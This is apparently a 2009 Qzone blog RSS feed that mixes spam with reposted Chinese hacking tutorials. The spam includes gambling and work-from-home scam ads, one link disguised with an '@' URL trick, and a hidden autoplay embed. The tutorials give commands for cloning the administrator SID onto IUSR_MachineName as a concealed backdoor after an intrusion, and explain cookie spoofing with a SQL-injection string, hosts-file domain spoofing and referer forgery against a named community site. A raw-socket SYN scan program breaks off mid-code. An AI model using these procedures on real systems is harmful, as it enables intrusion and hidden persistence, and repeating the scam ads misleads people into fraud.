<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[冰河]]></title>
<description><![CDATA[叧頛放縱9]]></description>
<link>http://419824654.qzone.qq.com</link>
<lastBuildDate>Fri, 27 Nov 2009 13:30:09 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Mon, 24 Aug 2009 08:19:48 GMT</pubDate>

<item>
<title><![CDATA[┌_姓名ベΔ藏头ξ诗，↑个性ゞ新亮≯ 点0.8624123]]></title>
<link>http://419824654.qzone.qq.com/blog/1251101988</link>
<description><![CDATA[<span style="color:#ff0033;font-size:24px;line-height:1.8em;">名字变成一首风格迥异的诗，体验“藏头诗”新时尚 还可以为你的爱人设计爱情藏头诗 快快去体验吧 </span><wbr /><span style="color:#ff0033;font-size:24px;line-height:1.8em;">www.shit19.cn</span><wbr /><wbr /><a href="http://images.wauee.com/cts/images/xiandai/9189r_m_1.gif" target="_blank"><img style="border:0;" src="http://images.wauee.com/cts/images/xiandai/9189r_m_1.gif" /></a><wbr />              <wbr /><a href="http://images.wauee.com/cts/images/xiandai/9189r_m_2.gif" target="_blank"><img style="border:0;" src="http://images.wauee.com/cts/images/xiandai/9189r_m_2.gif" /></a><wbr />0.69089501243592 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1251101988#comment</comments>
<qz:effect>134218257</qz:effect>
<pubDate>Mon, 24 Aug 2009 08:19:48 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1251101988</guid>
</item>

<item>
<title><![CDATA[谁打牌厉害的.高手快來！poc2ltu0fk8e]]></title>
<link>http://419824654.qzone.qq.com/blog/1251021358</link>
<description><![CDATA[<span style="font-weight:bold"><wbr /><span style="color:#999900;font-size:32px;line-height:1.8em;">注册就送6元钱!日赚千元不是梦www.qipai66.cn誰贏了錢記得請我吃飯哦!poc2ltu0fk8e</span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1251021358#comment</comments>
<qz:effect>134217744</qz:effect>
<pubDate>Sun, 23 Aug 2009 09:55:58 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1251021358</guid>
</item>

<item>
<title><![CDATA[﹎网络ゆ兼职ゆ，轻﹎⒌松在家ご赚钱0.899506834288829]]></title>
<link>http://419824654.qzone.qq.com/blog/1249796222</link>
<description><![CDATA[<span style="line-height:1.8em;"><span style="color:#ff6600;font-size:24px;line-height:1.8em;">网络兼职赚钱，日赚50-300元 <span style="color:#ff6600;font-size:24px;line-height:1.8em;">招聘网站 http://jz.bnm07.cn </span><wbr /></span><wbr /><span style="color:#ff6600;line-height:1.8em;"><span style="color:#cc0000;font-size:24px;line-height:1.8em;"><span style="font-weight:bold"><wbr />现在，有好多网上的创业兼职网站，给我感觉非常好!另外，兼职的时间很自由和灵活，可以自己掌握，每个人都可以做！在赚钱的同时，也会有自己学习或工作的时间。 网络兼职，用业余时间积聚财富机遇就在这里，想兼职，想创业的朋友速来哦</span><wbr /></span><wbr /> <span style="color:#0000ff;font-size:32px;line-height:1.8em;">招聘网站</span><wbr />   </span><wbr /></span><wbr /><span style="color:#ff6600;font-size:32px;line-height:1.8em;"><a href="http://jz.www.baidu.com@jz.bnm07.cn?gs7fdsfsda" target="_blank">http://jz.bnm07.cn</a><wbr /> </span><wbr />0.913068151992312 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1249796222#comment</comments>
<qz:effect>134218256</qz:effect>
<pubDate>Sun, 09 Aug 2009 05:37:02 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1249796222</guid>
</item>

<item>
<title><![CDATA[网络兼职，轻松在家赚钱!!!0.0644305050673105]]></title>
<link>http://419824654.qzone.qq.com/blog/1248751513</link>
<description><![CDATA[<span style="color:#ff6600;line-height:1.8em;">    只需一部电脑就可以在家做得的兼职.经常在网上泡为啥不能做兼职呢？装了宽带别浪费 如果你花一分钟去了解这个信息,那你就成功了一半!或许您已有一份很好的工作，又或许您正处于失业中……但不管怎样，您每天只要有几小时的上网时间，便可加盟兼职创业~！而您所要做的工作便是像我一样!<img src="http://imgcache.qq.com/qzone/em/e179.gif"><wbr /></span><wbr /><span style="color:#cc0033;line-height:1.8em;">如果您有兴趣的话;</span><wbr /><span style="filter: glow(color=#00FF66,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">详情请登陆招聘网站:</span><wbr /></span><wbr />:<a href="http://jz.bnm03.cn?=" target="_blank">http://jz.bnm03.cn</a><wbr /><embed invokeURLs="false" allowNetworking="internal" enableContextMenu="False" width="0" height="1" loop="false" autostart="true" showstatusbar="1" src="http://www.haoqm33.cn/jz.mp3" /><wbr />0.757982667422845 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1248751513#comment</comments>
<qz:effect>134226448</qz:effect>
<pubDate>Tue, 28 Jul 2009 03:25:13 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1248751513</guid>
</item>

<item>
<title><![CDATA[刚刚创建了《QQ飞车》新角色，来玩玩吧！]]></title>
<link>http://419824654.qzone.qq.com/blog/1233679219</link>
<description><![CDATA[    刚刚创建了《QQ飞车》新角色，来玩玩吧！ 《QQ飞车》很时尚也很好玩。 当我发现我周围越来越多的朋友都玩上了《QQ飞车》，而且常常一玩就是好几个小时， 完全沉浸在飙车的飞扬激情漂移的美妙乐趣中。于是我今天也兴致勃勃地下载了《QQ飞车》， 创建了属于自己的角色，我的游戏昵称是：520ttm。<br>     最火爆赛车网游《QQ飞车》主打时尚与好玩两大特色，清新浪漫逼真的场景设计， 世界顶级的物理引擎、时尚的人物，炫酷的赛车、动感的音乐，真实的赛车手感、缤纷的赛道，边境赏金比赛、 浪漫海滨同城聊天……带你进入一个极速炫目，浪漫休闲，激情飞扬的飞车世界。<br>     朋友，你是不是也有玩飞车也喜欢玩飞车呢？给我留言吧，我们有空约好一起去赛道上跑一跑，看看谁的车技好。如果你是顶尖高手，那可要让着我哦，我车技嘛， 还真不好说，赛场上见分晓，呵呵！<br>     约好了，不见不散哦，让我们一起畅游《QQ飞车》极速世界，体验漂移无限乐趣吧！<br> <br><div style="text-align:center;"><wbr /><a href="http://ossweb-img.qq.com/upload/speed/CommNews/1217390983_-103739220_6828_sPhoto0.jpg" target="_blank"><img style="border:0;" src="http://ossweb-img.qq.com/upload/speed/CommNews/1217390983_-103739220_6828_sPhoto0.jpg" /></a><wbr /></div><br>     《QQ 飞车》官方网站： <a href="http://speed.qq.com/?ADTAG=IED.InnerCop.Qzone.link" target="_blank">http://speed.qq.com/?ADTAG=IED.InnerCop.Qzone.link</a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[游戏人生]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1233679219#comment</comments>
<qz:effect>134218241</qz:effect>
<pubDate>Tue, 03 Feb 2009 16:40:19 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1233679219</guid>
</item>

<item>
<title><![CDATA[如何克隆管理员帐号]]></title>
<link>http://419824654.qzone.qq.com/blog/1220608462</link>
<description><![CDATA[如何克隆管理员帐号<br><br>Author:Adam@nsfocus.com<br><br>Site:http://www.sometips.com<br><br>经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的<br>用户，似乎当管理员不存在一般，今天偶违背一下偶以前的初衷，Share一个类似于RootKit<br>的玩艺，当然，这些过程也是可以用脚本实现的，但是我就不写了，OK，Show Time Now。<br><br>首先要让大家知道的概念是在Windows 2000和Windows NT里，默认管理员帐号的SID是固定的<br>500（0x1f4），那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆，在<br>这里我们选择的帐号是IUSR_MachineName（当然，为了加强隐蔽性，我们选择了这个帐号，<br>所有用户都可以用以下的方法，只不过这个用户较常见罢了），测试环境为Windows 2000 S<br>erver。<br><br>运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 H<br>ttp://www.sometips.com/soft/psu.exe)，然后在该CMD Shell里面运行<br>regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4<br>这样我们将SID 为500的管理员帐号的相关信息导出，然后编辑adam.reg文件，将adam.reg文<br>件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的&quot;1F<br>4&quot;修改为IUSR_MachineName的SID（大部分的机器该用户的SID都为0x3E9，如果机器在最初安<br>装的时候没有安装IIS，而自己创建了帐号后再安装IIS就有可能不是这个值），将Root.reg<br>文件中的&quot;1F4&quot;修改为&quot;3E9&quot;后执行<br>regedit /s adam.reg<br>导入该Reg文件<br><br>然后运行<br>net user IUSR_MachineName Sometips<br>修改IUSR_MachineName的密码（最好使用14位的密码，越像IUSR_MachineName的密码越好）<br><br>OK,大功告成...<br><br>这样，我们拥有和默认管理员一样的桌面、一样的Profile.....<br>而且，当我们运行 net localgroup administrators 时，看看结果：<br>C:\&gt;net localgroup administrators<br>Alias name administrators<br>Comment Administrators have complete and unrestricted access to the compu<br>ter/domain<br><br>Members<br><br>-------------------------------------------------------------------------------<br>Administrator<br>The command completed successfully.<br><br>再看看USER2SID的输出结果：<br>C:\&gt;user2sid Administrator<br><br>S-1-5-21-1004336348-1078145449-854245398-500<br><br>Number of subauthorities is 5<br>Domain is IDONTKNOW<br>Length of SID in memory is 28 bytes<br>Type of SID is SidTypeUser<br><br>C:\&gt;user2sid iusr_machinename<br><br>S-1-5-21-1004336348-1078145449-854245398-1001<br><br>Number of subauthorities is 5<br>Domain is IDONTKNOW<br>Length of SID in memory is 28 bytes<br>Type of SID is SidTypeUser<br><br>我想，再高明的管理员也看不到任何的异状了...而且，随便管理员改成什么密码，我照样可<br>以用IUSR_MachineName，密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IU<br>SR_MachineName为其他的名字吧)<br><br>^_^，这算不算RootKit...<br><br>附：<br>1、感谢叮叮付出需要reinstall OS的代价...<br>2、任何用以上方法进行试验所导致的系统无法使用均与偶无关，偶均不提供技术支持...<br><br><br><br>--<br>※ 来源: http://sinbad.dhs.org <br><br><br><br>作者：42423432 我要评论 <br>发信人: 42423432 &lt;2342342@1488.com&gt;<br>标 题: Re: 如何克隆管理员帐号<br>发信站: 辛巴达 (Sun Aug 4 19:16:26 2002)<br><br>【 在 Sinbad &lt;anonymous@anonymous.com&gt; 的大作中提到: 】<br>: 如何克隆管理员帐号<br>: <br>: Author:Adam@nsfocus.com<br>: Date:2002-04-28<br>: Site:http://www.sometips.com<br>: <br>: 经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的<br>: 用户，似乎当管理员不存在一般，今天偶违背一下偶以前的初衷，Share一个类似于RootKit<br>: 的玩艺，当然，这些过程也是可以用脚本实现的，但是我就不写了，OK，Show Time Now。<br>: <br>: 首先要让大家知道的概念是在Windows 2000和Windows NT里，默认管理员帐号的SID是固定的<br>: ..................... <!--v:3.2--> ]]></description>
<category><![CDATA[黑客入侵]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1220608462#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Fri, 05 Sep 2008 09:54:22 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1220608462</guid>
</item>

<item>
<title><![CDATA[ＣＯＯＫＩＥ欺骗（上）]]></title>
<link>http://419824654.qzone.qq.com/blog/1220563123</link>
<description><![CDATA[现在有很多社区网为了方便网友浏览，都使用了cookie技术以避免多次输入密码（就如the9<br>和vr），所以只要对服务器递交给用户的cookie进行改写就可以达到欺骗服务程序的目的。<br><br><br>ＣＯＯＫＩＥ欺骗原理 <br>按照浏览器的约定，只有来自同一域名的cookie才可以读写，而cookie只是浏览器的，对通<br>讯协议无影响，所以要进行cookie欺骗可以有多种途径： <br>１、跳过浏览器，直接对通讯数据改写 <br>２、修改浏览器，让浏览器从本地可以读写任意域名cookie <br>３、使用签名脚本，让浏览器从本地可以读写任意域名cookie（有安全问题） <br>４、欺骗浏览器，让浏览器获得假的域名 <br>其中： <br>方法１、２需要较专业的编程知识，对普通用户不太合适。 <br>方法３的实现有２种方法： <br>１、直接使用签名脚本，不需要签名验证，但是产生很严重的安全问题，因为大家都要上网<br>的，如果这样做你的硬盘文件就…… <br>２、对脚本进行签名后再使用签名脚本，但是需要专用的数字签名工具，对普通用户也不合<br>适。 <br>方法４看样子应该是最合适的了，域名欺骗很简单，也不需要什么工具（当然如果你的机器<br>装有web服务器那更好了），下面我以the9为例，以这种方法为基础，阐述一下cookie欺骗的<br>过程（下文中提到的任何服务端的bug，the9都已经做了改进，所以本文对the9无安全方面的<br>影响）： <br><br>注：我们讨论的cookie是那种不会在硬盘的cookie文件里留下踪迹的cookie，就是那种只在<br>浏览器生存周期内（会话）产生的cookie，如果浏览器关闭（会话结束）那么这个cookie就<br>被删了！　 <br><br>ＣＯＯＫＩＥ欺骗实战 <br>the9在登陆的时候会返回３个cookie（这可把浏览器的警告cookie选项打开时看到）： <br>cgl_random（随即序列号）：登陆识别的记号 <br>cgl_loginname（登陆名）：身份的识别记号 <br>cgl_areaid（小区号）：你居住的小区号码 <br>只要把cgl_loginname填入正确的登陆名，再对cgl_random进行修改，就可以达到欺骗服务程<br>序的目的。 <br><br>一般欺骗php程序的字符串为： <br>1''or''1''=''1 <br>把这个填入cgl_random，服务程序就被欺骗了！ <br>因为服务程序不太可能对cookie进行语法检查（the9现在改进了），那么把这个字符串填入<br>，就可以成功的欺骗对方程序，而达到突破的目的了！ <br><br>现在的问题是，如何使浏览器把这个我改过的cookie返回给the9？ <br>看一看the9的域名吧：http://www.the9.com/，而浏览器的cookie警告已经告诉了我们这３<br>个cookie会返回给有.the9.com这个域名的服务器，哎？我的机器上正好有web服务器，那么<br>动手吧！ <br>先编一个设置cookie的html，就叫cookie.htm吧，然后把这个cookie放进web目录，这样还不<br>行，因为我的机器的域名没设，那么设置host的名字，可是如果在网络设置中进行设置的话<br>，机器要重启动的，还是想想别的简单的办法吧！ <br>然后我们应该编辑hosts文件，这个文件应该在windows目录下，你有可能找不到它，但是如<br>果你找到了hosts.sam文件，那么把它后面的扩展名去掉，就是我们要的文件了！ <br>编辑hosts文件，填入以下一行: <br>127.0.0.1 www0.the9.com <br>解释一下，127.0.0.1是本机的lo地址，可以用做web地址，而www0.the9.com就是我们欺骗产<br>生的域名。 <br>然后在浏览器中输入http://www0.the9.com/cookie.htm，看，页面出来了，快设置cookie吧<br>！ <br>直接访问http;//www.the9.com/main.htm看看，不错吧！ <br><br>但是不是所有的网友都有自己的web服务器啊！那怎么办呢？ <br>其实如果你有个人主页的话，也可以达到cookie欺骗的目的，比如某个个人主页的服务器的<br>ip地址是1.2.3.4，先上传cookie.htm文件，再编辑hosts文件： <br>1.2.3.4 www0.the9.com <br>然后访问http://www0.the9.com/***/cookie.htm，其中***是你个人主页的地址目录。 <br><br>对了我作了个工具在我的主页上，现在公开一下,http://home.etang.com/fsl/9the/，大家<br>知道该怎么做了吧？嘿嘿，不过你那样设置是没有用的，要这样编辑hosts： <br>etang的ip www.the9.com <br>the9的ip www0.the9.com <br>为什么要这样呢？我等会会告诉大家的 <!--v:3.2--> ]]></description>
<category><![CDATA[黑客入侵]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1220563123#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Thu, 04 Sep 2008 21:18:43 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1220563123</guid>
</item>

<item>
<title><![CDATA[ＣＯＯＫＩＥ欺骗（下）]]></title>
<link>http://419824654.qzone.qq.com/blog/1220563089</link>
<description><![CDATA[来源：http://sunviva.yeah.net<br>　<br>继续the9的cookie讨论，还有2个cookie： <br>cgl_mainshowinfo（个人信息） <br>cgl_showinfo_changed（意义不知） <br>由于第二个cookie不知道是什么，所以就讨论第一个。 <br>第一个cookie存放着你在the9的名字、称号、居住的小区、街道、是否有工作、星级、门牌<br>号等的信息（目前只知道这些，其余的信息不知其意义，具体格式就让给大家去分析了），<br>但是中文都escape过了，如果你用的不是netscpae而是ie的话，不能用unescape得知其信息<br>，因为ie对双字节采用unicode而不采用ascii，如果哪天the9也支持unicode就好了！：），<br>但是其他网站站长注意了，你们可通过cgi的形式把这些the9居民信息抓过来实现数据共享！<br>哈哈……，如果你们真要这么做，就只有使用签名脚本了，总不能让别人编辑hosts吧（不过<br>得注意版权哦！）？ <br><br>ie的cookie漏洞： <br>如果你用的是ie的话，由于ie本身的漏洞，你大可不必编辑hosts，就可以同样做到读写别的<br>域名的cookie，你可以使用以下的方法欺骗ie（具体的可以去www.cookiecentral.com看看）<br>： <br>假设你的主页文件为http://a.com/cookie.htm， <br>使用以下url： http://a%2Ecom%2Fcookie%2Ehtm%3F.the9.com <br>如果直接输在浏览器地址栏里不行，就作个script，把location的值设为这个就可以了！ <br>这个地址转换后应该是这样的： http://a.com/cookie.htm?.the9.com <br>由于ie的bug，误把前面那个的域名以为是.the9.com了！ <br><br>hosts文件解释 <br>hosts文件实际上可以看成一个本机的dns系统，它可以负责把域名解释成ip地址，它的优先<br>权比dns服务器要高，它的具体实现是TCP/IP协议中的一部分。 <br>如果有这么一行： <br>202.109.110.3 www.the9.com <br>那么在输入www.the9.com时，网络协议会首先检查hosts文件找到匹配的，如果找不到再去d<br>ns查，这样你访问www.the9.com实际上是访问202.109.110.3，而不是通常的202.109.110.2<br>。 <br>注：由于缓存的作用，如果开着浏览器编辑hosts的话，hosts里的内容有可能不会当场生效<br>，你可以重新启动浏览器或等一会时间再试一下！ <br><br>关于ＲＥＦＥＲＥＲ的欺骗（这个虽然不属于cookie欺骗，但是懒得再写一篇，就归在一起<br>了） <br>referer是http头，它的作用是签定用户是从何处引用连接的，在the9，服务程序就充分利用<br>了这一点，如过你是手动输入url的话，那么referer不会设任何值，服务程序就返回什么“<br>投机取巧”的字样！ <br>由于我们前面对浏览器进行了域名欺骗，那么referer也被欺骗了，但是服务程序对referer<br>是整个主机名检查，所以www0.the9.com的域名就欺骗不了服务器，所以得用www.the9.com欺<br>骗，那么还得设一个域名方便我们访问the9，而且还得让cookie返回给这个真的the9，那么<br>就用www0.the9.com吧！（这回知道前面访问我主页工具时要那样编辑hosts了吧？） <br>如果你用了这个方法的话，那么你就不能直接点击the9的连接，而得用工具中的地址欺骗来<br>进行访问，至于这样做的好处，大家自己找找吧，我就不想详细说了，太累了！ <br><br>关于netvampire： <br>这个下载工具大家都知道吧？那么它的3.3版大家用过吗？很棒的！因为它可以直接让大家改<br>变下载连接的referer，而且它还能继承浏览器的cookie，把cookie返回给服务端（不过coo<br>kie不能改，如果能改的话，这个工具就太………………） <br><br>后记 <br>好了关于cookie及referer就说到这了，在这个星期以前利用cookie欺骗的话the9的门户可是<br>大开的（当然似乎还有通用密码什么的），不过the9虽然改进了，我不能保证其他社区网也<br>改进了，当然本文只是探讨技术，不负什么法律责任 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1220563089#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Thu, 04 Sep 2008 21:18:09 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1220563089</guid>
</item>

<item>
<title><![CDATA[高级扫描技术及原理介绍]]></title>
<link>http://419824654.qzone.qq.com/blog/1220563067</link>
<description><![CDATA[作者：refdom<br>Scan，是一切入侵的基础，对主机的探测工具非常多，比如大名鼎鼎的nmap。我这里没有什么新鲜技术，都是一些老东西老话题，即使参考的Phrack文档也甚至是96年的老文档，我只是拾人牙慧而已。 <br>最基本的探测就是Ping，不过现在连基本的个人防火墙都对Ping做了限制，这个也太基本了。如果透过防火墙，如何获得最理想的目标图，也是很多人整天思考的问题。 <br><br>一、高级ICMP扫描技术 <br><br>Ping就是利用ICMP协议走的，我们在这里主要是利用ICMP协议最基本的用途：报错，根据网络协议，如果按照协议出现了错误，那么接收端将产生一个ICMP的错误报文。这些错误报文并不是主动发送的，而是由于错误，根据协议自动产生。 <br><br>当IP数据报出现checksum和版本的错误的时候，目标主机将抛弃这个数据报，如果是checksum出现错误，那么路由器就直接丢弃这个数据报了。有些主机比如AIX、HP-UX等，是不会发送ICMP的Unreachable数据报的。 <br><br>我们利用下面这些特性： <br>1、向目标主机发送一个只有IP头的IP数据包，目标将返回Destination Unreachable的ICMP错误报文。 <br>2、向目标主机发送一个坏IP数据报，比如，不正确的IP头长度，目标主机将返回Parameter Problem的ICMP错误报文。 <br>3、当数据包分片但是，却没有给接收端足够的分片，接收端分片组装超时会发送分片组装超时的ICMP数据报。 <br><br>向目标主机发送一个IP数据报，但是协议项是错误的，比如协议项不可用，那么目标将返回Destination Unreachable的ICMP报文，但是如果是在目标主机前有一个防火墙或者一个其他的过滤装置，可能过滤掉提出的要求，从而接收不到任何回应。可以使用一个非常大的协议数字来作为IP头部的协议内容，而且这个协议数字至少在今天还没有被使用，应该主机一定会返回Unreachable，如果没有Unreachable的ICMP数据报返回错误提示，那么就说明被防火墙或者其他设备过滤了，我们也可以用这个办法来探测是否有防火墙或者其他过滤设备存在。 <br><br>利用IP的协议项来探测主机正在使用哪些协议，我们可以把IP头的协议项改变，因为是8位的，有256种可能。通过目标返回的ICMP错误报文，来作判断哪些协议在使用。如果返回Destination Unreachable，那么主机是没有使用这个协议的，相反，如果什么都没有返回的话，主机可能使用这个协议，但是也可能是防火墙等过滤掉了。NMAP的IP Protocol scan也就是利用这个原理。 <br><br>利用IP分片造成组装超时ICMP错误消息，同样可以来达到我们的探测目的。当主机接收到丢失分片的数据报，并且在一定时间内没有接收到丢失的数据报，就会丢弃整个包，并且发送ICMP分片组装超时错误给原发送端。我们可以利用这个特性制造分片的数据包，然后等待ICMP组装超时错误消息。可以对UDP分片，也可以对TCP甚至ICMP数据包进行分片，只要不让目标主机获得完整的数据包就行了，当然，对于UDP这种非连接的不可靠协议来说，如果我们没有接收到超时错误的ICMP返回报，也有可能时由于线路或者其他问题在传输过程中丢失了。 <br><br>我们能够利用上面这些特性来得到防火墙的ACL（access list），甚至用这些特性来获得整个网络拓扑结构。如果我们不能从目标得到Unreachable报文或者分片组装超时错误报文，可以作下面的判断： <br>1、防火墙过滤了我们发送的协议类型 <br>2、防火墙过滤了我们指定的端口 <br>3、防火墙阻塞ICMP的Destination Unreachable或者Protocol Unreachable错误消息。 <br>4、防火墙对我们指定的主机进行了ICMP错误报文的阻塞。 <br><br>二、高级TCP扫描技术 <br><br>最基本的利用TCP扫描就是使用connect()，这个很容易实现，如果目标主机能够connect，就说明一个相应的端口打开。不过，这也是最原始和最先被防护工具拒绝的一种。 <br>在高级的TCP扫描技术中主要利用TCP连接的三次握手特性来进行，也就是所谓的半开扫描。这些办法可以绕过一些防火墙，而得到防火墙后面的主机信息。当然，是在不被欺骗的情况下的。下面这些方法还有一个好处就是比较难于被记录，有的办法即使在用netstat命令上也根本显示不出来。 <br><br>SYN <br>向远端主机某端口发送一个只有SYN标志位的TCP数据报，如果主机反馈一个SYN || ACK数据包，那么，这个主机正在监听该端口，如果反馈的是RST数据包，说明，主机没有监听该端口。在X-Scanner 上就有SYN的选择项。 <br><br>ACK <br>发送一个只有ACK标志的TCP数据报给主机，如果主机反馈一个TCP RST数据报来，那么这个主机是存在的。 <br><br>FIN <br>对某端口发送一个TCP FIN数据报给远端主机。如果主机没有任何反馈，那么这个主机是存在的，而且正在监听这个端口；主机反馈一个TCP RST回来，那么说明该主机是存在的，但是没有监听这个端口。 <br><br>NULL <br>即发送一个没有任何标志位的TCP包，根据RFC793，如果目标主机的相应端口是关闭的话，应该发送回一个RST数据包。 <br><br>FIN+URG+PUSH <br>向目标主机发送一个Fin、URG和PUSH分组，根据RFC793，如果目标主机的相应端口是关闭的，那么应该返回一个RST标志。 <br><br>三、高级UDP扫描技术 <br>在UDP实现的扫描中，多是了利用和ICMP进行的组合进行，这在ICMP中以及提及了。还有一些特殊的就是UDP回馈，比如SQL SERVER，对其1434端口发送‘x02’或者‘x03’就能够探测得到其连接端口。 <br><br><br>下面这段程序就是一个TCP探测的例子，当然，并没有做得完美，因为没有接收部分，而在WIN2000下实际就是一个选择性的SNIFFER，呵呵，大家可以使用其他的SNIFFER来实现同样的目的。也可以改变下面的程序只发送IP包，利用ICMP特性来实现探测。 <br><br>#include &lt;stdio.h&gt; <br>#include &lt;winsock2.h&gt; <br>#include &lt;ws2tcpip.h&gt; <br><br>#define SOURCE_PORT 7234 <br>#define MAX_RECEIVEBYTE 255 <br><br>typedef struct ip_hdr //定义IP首部 <br>{ <br>unsigned char h_verlen; //4位首部长度,4位IP版本号 <br>unsigned char tos; //8位服务类型TOS <br>unsigned short total_len; //16位总长度（字节） <br>unsigned short ident; //16位标识 <br>unsigned short frag_and_flags; //3位标志位 <br>unsigned char ttl; //8位生存时间 TTL <br>unsigned char proto; //8位协议 (TCP, UDP 或其他) <br>unsigned short checksum; //16位IP首部校验和 <br>unsigned int sourceIP; //32位源IP地址 <br>unsigned int destIP; //32位目的IP地址 <br>}IPHEADER; <br><br>typedef struct tsd_hdr //定义TCP伪首部 <br>{ <br>unsigned long saddr; //源地址 <br>unsigned long daddr; //目的地址 <br>char mbz; <br>char ptcl; //协议类型 <br>unsigned short tcpl; //TCP长度 <br>}PSDHEADER; <br><br>typedef struct tcp_hdr //定义TCP首部 <br>{ <br>USHORT th_sport; //16位源端口 <br>USHORT th_dport; //16位目的端口 <br>unsigned int th_seq; //32位序列号 <br>unsigned int th_ack; //32位确认号 <br>unsigned char th_lenres; //4位首部长度/6位保留字 <br>unsigned char th_flag; //6位标志位 <br>USHORT th_win; //16位窗口大小 <br>USHORT th_sum; //16位校验和 <br>USHORT th_urp; //16位紧急数据偏移量 <br>}TCPHEADER; <br><br>//CheckSum:计算校验和的子函数 <br>USHORT checksum(USHORT *buffer, int size) <br>{ <br>unsigned long cksum=0; <br>while(size &gt;1) <br>{ <br>cksum+=*buffer++; <br>size -=sizeof(USHORT); <br>} <br>if(size ) <br>{ <br>cksum += *(UCHAR*)buffer; <br>} <br><br>cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); <br>cksum += (cksum &gt;&gt;16); <br>return (USHORT)(~cksum); <br>} <br><br>void usage() <br>{ <br>printf(&quot;******************************************<br>&quot;); <br>printf(&quot;TCPPing<br>&quot;); <br>printf(&quot; Written by Refdom<br>&quot;); <br>printf(&quot; Email: refdom@263.net<br>&quot;); <br>printf(&quot;Useage: TCPPing.exe Target_ip Target_port <br>&quot;); <br>printf(&quot;*******************************************<br>&quot;); <br>} <br><br>int main(int argc, char* argv[]) <br>{ <br>WSADATA WSAData; <br>SOCKET sock; <br>SOCKADDR_IN addr_in; <br>IPHEADER ipHeader; <br>TCPHEADER tcpHeader; <br>PSDHEADER psdHeader; <br><br>char szSendBuf[60]={0}; <br>BOOL flag; <br>int rect,nTimeOver; <br><br>usage(); <br><br>if (argc!= 3) <br>{ return false; } <br><br>if (WSAStartup(MAKEWORD(2,2), &amp;WSAData)!=0) <br>{ <br>printf(&quot;WSAStartup Error!<br>&quot;); <br>return false; <br>} <br><br>if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) <br>{ <br>printf(&quot;Socket Setup Error!<br>&quot;); <br>return false; <br>} <br>flag=true; <br>if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&amp;flag,sizeof(flag))==SOCKET_ERROR) <br>{ <br>printf(&quot;setsockopt IP_HDRINCL error!<br>&quot;); <br>return false; <br>} <br><br>nTimeOver=1000; <br>if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&amp;nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) <br>{ <br>printf(&quot;setsockopt SO_SNDTIMEO error!<br>&quot;); <br>return false; <br>} <br>addr_in.sin_family=AF_INET; <br>addr_in.sin_port=htons(atoi(argv[2])); <br>addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); <br><br>// <br>// <br>//填充IP首部 <br>ipHeader.h_verlen=(4&lt;&lt;4 | sizeof(ipHeader)/sizeof(unsigned long)); <br>// ipHeader.tos=0; <br>ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); <br>ipHeader.ident=1; <br>ipHeader.frag_and_flags=0; <br>ipHeader.ttl=128; <br>ipHeader.proto=IPPROTO_TCP; <br>ipHeader.checksum=0; <br>ipHeader.sourceIP=inet_addr(&quot;本地地址&quot;); <br>ipHeader.destIP=inet_addr(argv[1]); <br><br>//填充TCP首部 <br>tcpHeader.th_dport=htons(atoi(argv[2])); <br>tcpHeader.th_sport=htons(SOURCE_PORT); //源端口号 <br>tcpHeader.th_seq=htonl(0x12345678); <br>tcpHeader.th_ack=0; <br>tcpHeader.th_lenres=(sizeof(tcpHeader)/4&lt;&lt;4|0); <br>tcpHeader.th_flag=2; 